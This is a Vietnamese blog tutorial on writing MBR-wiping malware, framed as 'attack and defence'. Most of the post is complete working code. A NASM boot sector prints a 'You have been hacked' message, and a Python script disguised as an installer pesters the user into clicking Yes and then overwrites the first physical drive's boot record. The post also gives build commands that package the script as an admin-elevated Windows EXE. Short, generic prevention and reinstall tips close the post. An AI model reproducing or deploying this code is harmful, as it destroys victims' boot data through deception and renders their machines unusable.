Code phá hủy MBR ổ cứng – Tấn công và phòng chống

Đây là một chủ đề “khá nhạy cảm” và “nguy hiểm” và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình khỏi nó, mình đã tìm hiểu về nó. Trong bài viết này, mình sẽ chia sẻ với bạn về cách mà mình đã tạo ra một đoạn mã độc và sử dụng nó để phá huỷ dữ liệu trên ổ cứng chỉ với 1 tập lệnh Python.

RatHuuIch hy vọng rằng bài viết này sẽ giúp bạn hiểu rõ hơn về cách thức hoạt động của mã độc và cách bảo vệ chính mình khỏi nó. Mình sẽ chia sẻ cách tạo ra một phần mềm độc hại MBR. Trước khi vào vấn đề đó mình sẽ nói qua khái niệm về MBR và cách hoạt động của nó.

Lưu ý: Bài viết chỉ mang tính chất giáo dục, nghiên cứu về mã độc, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. RatHuuIch không chịu toàn bộ trách nhiệm mà bạn đã gây ra !

MBR là gì ? Cách hoạt động của MBR

MBR ( Master Boot Record: Bản ghi khởi động chính ), là một phần của đĩa cứng được sử dụng để khởi động hệ thống máy tính. Nó là một khối dữ liệu 512 byte đầu tiên trên ổ đĩa cứng được sử dụng để lưu trữ thông tin về cách phân vùng đĩa cứng và cách khởi động hệ thống. Trong MBR, có một bảng phân vùng chứa thông tin về các phân vùng trên đĩa cứng, bao gồm địa chỉ bắt đầu và kích thước của mỗi phân vùng. Nó cũng chứa mã khởi động ( bootloader ) để hệ thống có thể khởi động từ ổ đĩa cứng. Ngoài ra nó còn chứa một chữ ký ( signature ) với kích cỡ 2 byte ở cuối để xác nhận rằng nó là MBR hợp lệ và giúp hệ điều hành nhận diện đĩa cứng. Tuy nhiên, MBR cũng là điểm yếu của hệ thống bởi vì nó có thể bị tấn công bởi mã độc và phá hỏng thông tin về phân vùng và cách khởi động hệ thống, gây ra các vấn đề nghiêm trọng khi khởi động hệ thống.

Cách hoạt động của MBR: Khi hệ thống được bật, trình điều khiển BIOS (Basic Input/Output System) sẽ đọc MBR từ ổ đĩa cứng và tải nó vào bộ nhớ. Mã khởi động (bootloader) trong MBR sẽ được thực thi, cho phép hệ thống khởi động từ ổ đĩa cứng. Sau đó, Bootloader sẽ tải phần mềm khởi động tiếp theo (như GRUB hoặc NTLDR) và cho phép người dùng chọn hệ điều hành để khởi động. Nếu không có lựa chọn, bootloader sẽ tiếp tục thực thi và chuyển quyền điều khiển cho hệ điều hành. Nếu MBR bị hỏng hoặc bị tấn công bởi mã độc, bootloader có thể không thể được tải hoặc hệ thống sẽ không khởi động được. Trong trường hợp này, bạn cần phải sử dụng các công cụ phục hồi hệ thống để sửa chữa hoặc khôi phục lại MBR để đảm bảo hệ thống có thể khởi động được lại.

Mình đã tạo ra mã độc MBR phá hủy ổ cứng như thế nào ?

Để tạo ra được mã độc này, Rathuuich đã tìm hiểu những kiến thức sau:

Trước tiên mình download Rathuuich.com/tieptucdentrangmoi/?url=https%3A%2F%2Fqemu.weilnetz.de%2Fw64%2F” target=”_blank” rel=”noopener external nofollow” class=”ext-link” onclick=”this.target=’_blank’;”>Qemu Binaries và Rathuuich.com/tieptucdentrangmoi/?url=https%3A%2F%2Fwww.nasm.us%2Fpub%2Fnasm%2Freleasebuilds%2F2.16.01%2F” target=”_blank” rel=”noopener external nofollow” class=”ext-link” onclick=”this.target=’_blank’;”>NASM. Việc cài đặt 2 phần mềm này khá đơn giản nên mình sẽ bỏ qua nhé. Bây giờ mình sẽ tiến hành tạo một tên tệp với bản định dạng của ngôn ngữ Assembler là .asm. Mình đặt tên file là boot.asm nhé

Bước 1: Tạo tệp boot.asm và biên dịch sang mã hex độc

Rathuuich.com/wp-content/uploads/2023/02/carbon.png” alt=”Code phá hủy MBR ổ cứng – Tấn công và phòng chống 14″ width=”1364″ height=”1242″ title=”Code phá hủy MBR ổ cứng – Tấn công và phòng chống 15″ srcset=”https://Rathuuich.com/wp-content/uploads/2023/02/carbon.png 1364w, https://Rathuuich.com/wp-content/uploads/2023/02/carbon-300×273.png 300w, https://anonyviet.com/wp-content/uploads/2023/02/carbon-1024×932.png 1024w, https://anonyviet.com/wp-content/uploads/2023/02/carbon-768×699.png 768w, https://anonyviet.com/wp-content/uploads/2023/02/carbon-750×683.png 750w, https://anonyviet.com/wp-content/uploads/2023/02/carbon-1140×1038.png 1140w” sizes=”(max-width: 1364px) 100vw, 1364px”>

org 0x7c00 
bits 16    


start:
    call cls 
    mov bx, display

print:
    mov al, [bx]
    cmp al, 0 
    je halt
    call print_char 
    inc bx
    jmp print 

print_char:
    mov ah, 0x0e
    int 0x10 
    ret 

halt:
    ret


cls:
    mov ah, 0x07   
    mov al, 0x00  
    mov bh, 0x02
    mov cx, 0x00  
    mov dx, 0x184f
    int 0x10       
    ret            

display db "We are RatHuuIch.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55 

Đoạn code trên là một chương trình boot loader, được tạo ra để chạy trên một máy tính x86 sau khi khởi động. Bây giờ chúng mình hãy cùng đi vào từng đoạn code để hiểu rõ hơn nha:

Dòng đầu tiên org 0x7c00 chỉ định vị trí lưu trữ của chương trình khi nó được nạp vào bộ nhớ, và địa chỉ này được xác định là 0x7c00. Dòng thứ 2 chính là bits 16 chỉ định rằng chương trình này sẽ được biên dịch và chạy trên kiến trúc 16Bit

org 0x7c00
bits 16

Chương trình bắt đầu bằng nhãn start và thực hiện các lệnh. Lệnh đầu tiên gọi hàm cls để xóa màn hình. Lệnh thứ hai đưa địa chỉ của chuỗi display vào thanh ghi bx

start:
     call cls
     mov bx, display

Đoạn mã này lặp lại cho đến khi kết thúc chuỗi display. Mỗi lần lặp lại, nó đọc một ký tự từ chuỗi display và gọi hàm print_char để in ký tự đó ra màn hình. Sau đó, nó tăng giá trị của thanh ghi bx để trỏ đến ký tự tiếp theo trong chuỗi display và lặp lại quá trình này.

print:
     mov al, [bx]
     cmp al, 0
     je halt
     call print_char
     inc bx
     jmp print

Hàm print_char đặt giá trị 0x0e vào thanh ghi ah, sau đó gọi trình ngắt 0x10 để hiển thị ký tự tương ứng với thanh ghi al lên màn hình. Tiếp đến, nó sẽ trả về ngay lập tức.

print_char:
     mov ah, 0x0e
     int 0x10
     ret

Hàm halt chỉ đơn giản là trả về ngay lập tức.

halt:
     ret

cls là một hàm để xóa màn hình
mov ah, 0x07: Di chuyển giá trị 0x07 vào thanh ghi ah, là mã hàm ẩn bảng ký tự của BIOS để xoá màn hình.
mov al, 0x00: Di chuyển giá trị 0x00 vào thanh ghi al, là thông số mặc định để xoá màn hình.
mov bh, 0x02: Di chuyển giá trị 0x02 vào thanh ghi bh, là mã màu sắc của ký tự trên màn hình console.Trong trường hợp này, màu sắc được chọn là màu xanh lá cây được biểu thị bằng mã nhị phân. Bạn có thể xem các danh sách màu chữ của BIOS tại đây
mov cx, 0x00: Di chuyển giá trị 0x00 vào thanh ghi cx, là số lần hiển thị để xoá màn hình.
mov dx, 0x184f: Di chuyển giá trị 0x184f vào thanh ghi dx, là tọa độ bắt đầu xoá màn hình với x = 0 và y =0
int 0x10: Gọi hàm ngắt số 0x10, là hàm giao tiếp với phần cứng video của máy tính.
ret: Trả về hàm và quay trở lại nơi gọi hàm.

cls:
     mov ah, 0x07
     mov al, 0x00
     mov bh, 0x02
     mov cx, 0x00
     mov dx, 0x184f
     int 0x10
     ret

display là tên biến, db là instruction để định nghĩa một chuỗi byte.
Chuỗi được định nghĩa bao gồm: "We are RatHuuIch.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0 và bạn cũng có thể thay đổi lời nhắn tùy ý nhé !

Ở đây "We are RatHuuIch.com, I am Hevin" là một chuỗi ký tự, trong trường hợp này là thông điệp được hiển thị trên màn hình

Còn 1310 lần lượt là các ký tự ASCII tương ứng với các ký tự xuống dòng và lùi về đầu dòng (Carriage Return và Line Feed).
"You have been hacked !" là thông điệp tiếp theo được hiển thị trên màn hình. 0 là ký tự kết thúc chuỗi.
times 510 - ($ - $$) db 0 sử dụng lệnh times để bổ sung các byte giá trị 0 vào phần còn thiếu của boot sector (tính từ đầu cho tới vị trí 510).
dw 0xaa55 giá trị kết thúc của boot sector là 0xAA55, giá trị này sẽ được BIOS sử dụng để kiểm tra tính hợp lệ của boot sector trước khi nạp vào bộ nhớ và thực thi

display db "We are RatHuuIch.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55

Cách hoạt động của chương trình phá hủy MBR ổ cứng trên như sau:

Trước tiên, nó sử dụng lệnh org 0x7c00 để xác định địa chỉ bắt đầu của chương trình, tức là địa chỉ 0x7c00. Tiếp đến sử dụng bits 16 để chỉ định kiểu bit được sử dụng.

Sau đó, chương trình chạy đến nhãn start và gọi hàm cls để xóa màn hình và di chuyển con trỏ về địa chỉ đầu tiên của chuỗi display bằng cách di chuyển địa chỉ của chuỗi vào thanh ghi bx

Tiếp theo, chương trình sử dụng một vòng lặp để in từng ký tự trong chuỗi display bằng cách gọi hàm print_char. Nếu ký tự là ký tự null (0), vòng lặp sẽ dừng lại và chương trình sẽ gọi hàm halt để kết thúc chương trình. Nếu không, con trỏ sẽ được di chuyển sang ký tự tiếp theo trong chuỗi bằng cách tăng giá trị của thanh ghi bx và chương trình sẽ tiếp tục in ký tự tiếp theo.

Hàm print_char sử dụng lệnh int 0x10 để gọi dịch vụ hệ thống của BIOS để in một ký tự lên màn hình. Trong hàm này, chương trình truyền giá trị của thanh ghi al vào thanh ghi ah và sau đó gọi lệnh int 0x10 để in ký tự lên màn hình.

Hàm cls cũng sử dụng lệnh int 0x10 để gọi dịch vụ hệ thống của BIOS để xóa màn hình. Trong hàm này, chương trình thiết lập các thanh ghi để định dạng của việc xóa màn hình và sau đó gọi lệnh int 0x10 để xóa màn hình.

Cuối cùng, chương trình kết thúc bằng hai câu lệnh với  times 510 - ($ - $$) db 0 được sử dụng để đảm bảo rằng kích thước của chương trình sẽ là chính xác 512 byte và dw 0xaa55 được sử dụng để đánh dấu kí tự cuối của một sector bootable.

Để biên dịch được sang mã hex độc và thực thi nó mình đã làm như sau:

Giờ mình sẽ boot thử vào boot.bin bằng qemu binaries xem có được không nhé ! OK. Vậy là được rồi. Đầu tiên mình sẽ sử dụng NASM để biên dịch boot.asm sang boot.bin sau đó mình sẽ vào website tomeko.net để chuyển file boot.bin sang mã hex độc hại tiếp đến mình chỉ vệc copy lại

Ngoài ra bạn có thể sử dụng một đoạn script Python nhỏ của mình để chuyển file bin sang dạng mã hex nhé. Nếu bạn có tên file khác boot.bin bạn chỉ cần sửa ở dòng 3 sau đó chạy script, nó sẽ cấp cho bạn 1 đoạn mã hex giống như bên dưới

import binascii

with open("boot.bin", "rb") as f:
    binary_data = f.read()
hex_values = ["0x{:02X}".format(byte) for byte in binary_data]
print(hex_values)

hex_string = ", ".join(hex_values)
print(hex_string)

Bước 2: Đính kèm mã hex độc và biên dịch sang EXE

Đầu tiên mình sẽ viết ra 1 đoạn code Python ngắn gọn với module Pywin32 việc cài đặt module đó cũng khá đơn giản, bạn chỉ cần mở CMD trên máy sau đó chạy đoạn lệnh pip install pywin32.Với module này giúp mình làm việc với các tài nguyên Windows như các tệp, thư mục, tiến trình, ứng dụng, COM objects, registry, service,…Không chỉ vậy, nó còn thực hiện các tác vụ liên quan đến Windows, bao gồm cả việc sử dụng các API của Windows thông qua các đối tượng Python. Mình sẽ gọi các module con của Pywin32 bao gồm win32file, win32api, win32gui, win32ui và win32con và import tất cả những gì của module vào. Còn module time mình dùng để “thao túng tâm lý” nạn nhân thôi :>

Và bạn chỉ cần copy đoạn mã hex lúc nãy mà bạn đã tạo được và paste nó vào bến ma_doc như hình bên dưới

from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep

ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây

])

Sau khi đã copy mã độc vào biến ma_doc, chúng ta sẽ tạo 1 hàm tên là run_mbr() bao gồm các nội dung sau:

def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'RatHuuIch',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất nVui lòng khởi động lại máy để phần mềm được làm mới !', "RatHuuIch"):
        pass

    anonyviet = CreateFileW(r"\.PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()

 

Một vòng lặp while vô hạn được bắt đầu. Trong vòng lặp này, một hộp thoại MessageBox sẽ xuất hiện với một thông điệp yêu cầu người dùng bấm Yes hoặc No để tiếp tục cài đặt. Nếu người dùng bấm No, vòng lặp sẽ tiếp tục chạy và hộp thoại sẽ xuất hiện lại ( Và đây là kiểu ép buộc người dùng phải chọn Yes ), Nếu người dùng bấm Yes, vòng lặp sẽ kết thúc. Sau đó, chương trình sẽ dừng nghỉ trong 3 giây bằng hàm sleep(3) để đợi người dùng có thể đọc thông báo hoàn tất. Tiếp theo, một hộp thoại MessageBox khác xuất hiện với thông điệp yêu cầu người dùng khởi động lại máy tính để phần mềm được cập nhật. Nếu người dùng nhấn OK, chương trình sẽ tiếp tục thực thi bước tiếp theo. Với chuỗi đầu tiên trong MessageBox đó là Bấm "Yes" để tiếp tục cài đặt Đây là chuỗi hiện lên thông báo văn bản trên hộp thoại, tiếp đến đó là chuỗi 'RatHuuIch' đây là chuỗi hiện thị tên hộp thoại và cuối cùng đó là MB_YESNO đây là một phương thức gọi hộp thoại YES NO của win32gui

 

Tiếp đến là mở một tập tin được gọi là \.PhysicalDrive0, là tệp tương ứng với ổ đĩa vật lý đầu tiên trên hệ thống. Điều này cho phép chương trình ghi một số dữ liệu lên phần MBR (Master Boot Record) của ổ đĩa. Dòng code bên dưới tạo một file handle (một đối tượng để truy cập file) cho thiết bị ổ đĩa vật lý đầu tiên (PhysicalDrive0) bằng cách sử dụng hàm CreateFileW của Windows API. Tham số GENERIC_WRITE chỉ định rằng file handle này sẽ được sử dụng để ghi dữ liệu vào ổ đĩa. Tham số FILE_SHARE_READFILE_SHARE_WRITE cho phép các tiến trình khác có thể đọc và ghi vào thiết bị. Tham số None chỉ định rằng không có thuộc tính bảo mật nào được sử dụng cho file handle. Tham số OPEN_EXISTING chỉ định rằng file handle được tạo sẽ trỏ tới một file đã tồn tại. Tham số cuối cùng là các flag khác và ở đây được đặt là 0.

 

với đoạn code bên dưới sử dụng hàm WriteFile() của Windows API để ghi dữ liệu được lưu trong biến ma_doc (chứa mã độc MBR) vào ổ đĩa vật lý đã được mở file handle (anonyviet). Tiếp đến là hàm CloseHandle()  hàm này đóng file handle (anonyviet) đã được mở trước đó. Việc đóng file handle giúp giải phóng tài nguyên và ngăn chặn việc các tiến trình khác ghi vào thiết bị.

Nói nôm na là chương trình này yêu cầu người dùng bấm Yes để tiếp tục cài đặt, sau đó dừng nghỉ trong 3 giây và hiển thị một thông báo yêu cầu khởi động lại máy tính để cập nhật phần mềm. Sau khi người dùng khởi động lại máy tính, chương trình ghi dữ liệu vào phần MBR của ổ đĩa vật lý đầu tiên trên hệ thống. Và đó chính là mã độc MBR

Đây là đoạn code Python hoàn thiện:

from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep


ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây
    0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43, 0xEB, 0xF4, 
    0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x02, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 
    0xCD, 0x10, 0xC3, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x76, 0x69, 0x65, 
    0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2C, 0x20, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x48, 0x65, 0x76, 0x69, 0x6E, 0x0D, 
    0x0A, 0x59, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x68, 0x61, 0x63, 
    0x6B, 0x65, 0x64, 0x20, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
])

def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'RatHuuIch',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất nVui lòng khởi động lại máy để phần mềm được làm mới !', "RatHuuIch"):
        pass

    anonyviet = CreateFileW(r"\.PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()

Để build được file Python sang EXE ( file exe này phải chạy với quyền admin nhen ) mình sẽ sử dụng Pyinstaller hoặc là Nuitka để build ra phần mềm chứa mã độc mbr:

pyinstaller --onefile --uac-admin -w FileMaDocMBRcuaBan.py

nuitka --onefile --windows-uac-admin --mingw64 --disable-console FileMaDocMBRcuaBan.py

 Và đây là kết quả !

Cách phòng chống mã độc MBR:

  1. Sử dụng phần mềm diệt virus và cập nhật thường xuyên: Cài đặt phần mềm diệt virus trên máy tính của bạn và cập nhật thường xuyên để bảo vệ máy tính của bạn khỏi các mã độc MBR mới nhất.
  2. Không tải xuống và cài đặt phần mềm từ các nguồn không rõ nguồn gốc: Tránh tải xuống và cài đặt phần mềm từ các trang web không rõ nguồn gốc, vì chúng có thể chứa mã độc MBR.
  3. Không mở email hoặc tải xuống các tập tin từ các nguồn không rõ nguồn gốc: Mở email và tải xuống tập tin từ các nguồn không rõ nguồn gốc có thể dẫn đến sự lây lan của mã độc MBR
  4. Sử dụng Firewall: Cài đặt tường lửa (Firewall) để bảo vệ máy tính của bạn khỏi các cuộc tấn công mạng.
  5. Sử dụng phần mềm Anti-Rootkit: Cài đặt phần mềm Anti-Rootkit, nó sẽ giúp phát hiện và loại bỏ mã độc MBR.
  6. Sử dụng mật khẩu truy cập: Sử dụng mật khẩu để bảo vệ BIOS và MBR khỏi các tấn công truy cập trái phép.
  7. Không để ổ đĩa cứng trống trải: Nếu ổ đĩa cứng của bạn trống trải, các hacker có thể sử dụng để lưu trữ mã độc MBR.
  8. Sử dụng phần mềm Backup: Sử dụng phần mềm Backup để sao lưu dữ liệu quan trọng và ổ đĩa cứng, nếu có bất kỳ điều gì xảy ra thì bạn có thể phục hồi lại dữ liệu của mình.

Cách giải quyết khi bị nhiễm mã độc MBR trên Windows

Bước 1: Tải bộ cài đặt Windows từ trang web của Microsoft. Bạn có thể tải về bản cài đặt tương ứng với phiên bản Windows bạn muốn cài đặt, ví dụ như Windows 10.

Bước 2: Tạo một đĩa hoặc USB khởi động từ bộ cài đặt Windows bạn vừa tải về. Bạn có thể sử dụng một phần mềm tạo USB khởi động như Rufus để thực hiện việc này.

Bước 3: Chọn thiết bị khởi động từ đĩa hoặc USB mà bạn đã tạo ở bước trên. Để làm điều này, bạn cần truy cập vào BIOS hoặc UEFI firmware và thay đổi thiết lập khởi động.

Bước 4: Khởi động máy tính từ đĩa hoặc USB khởi động. Sau khi khởi động, bạn sẽ thấy màn hình cài đặt Windows.

Bước 5: Làm theo các hướng dẫn trên màn hình để cài đặt Windows. Bạn có thể chọn loại cài đặt tùy chỉnh để xóa toàn bộ dữ liệu trên ổ cứng.

Bước 6: Khi quá trình cài đặt hoàn tất, bạn cần cài đặt các trình điều khiển và các ứng dụng mà bạn sử dụng thường xuyên. Bạn có thể tải chúng từ trang web của nhà sản xuất hoặc từ Microsoft Store.

Đánh giá post
Exit mobile version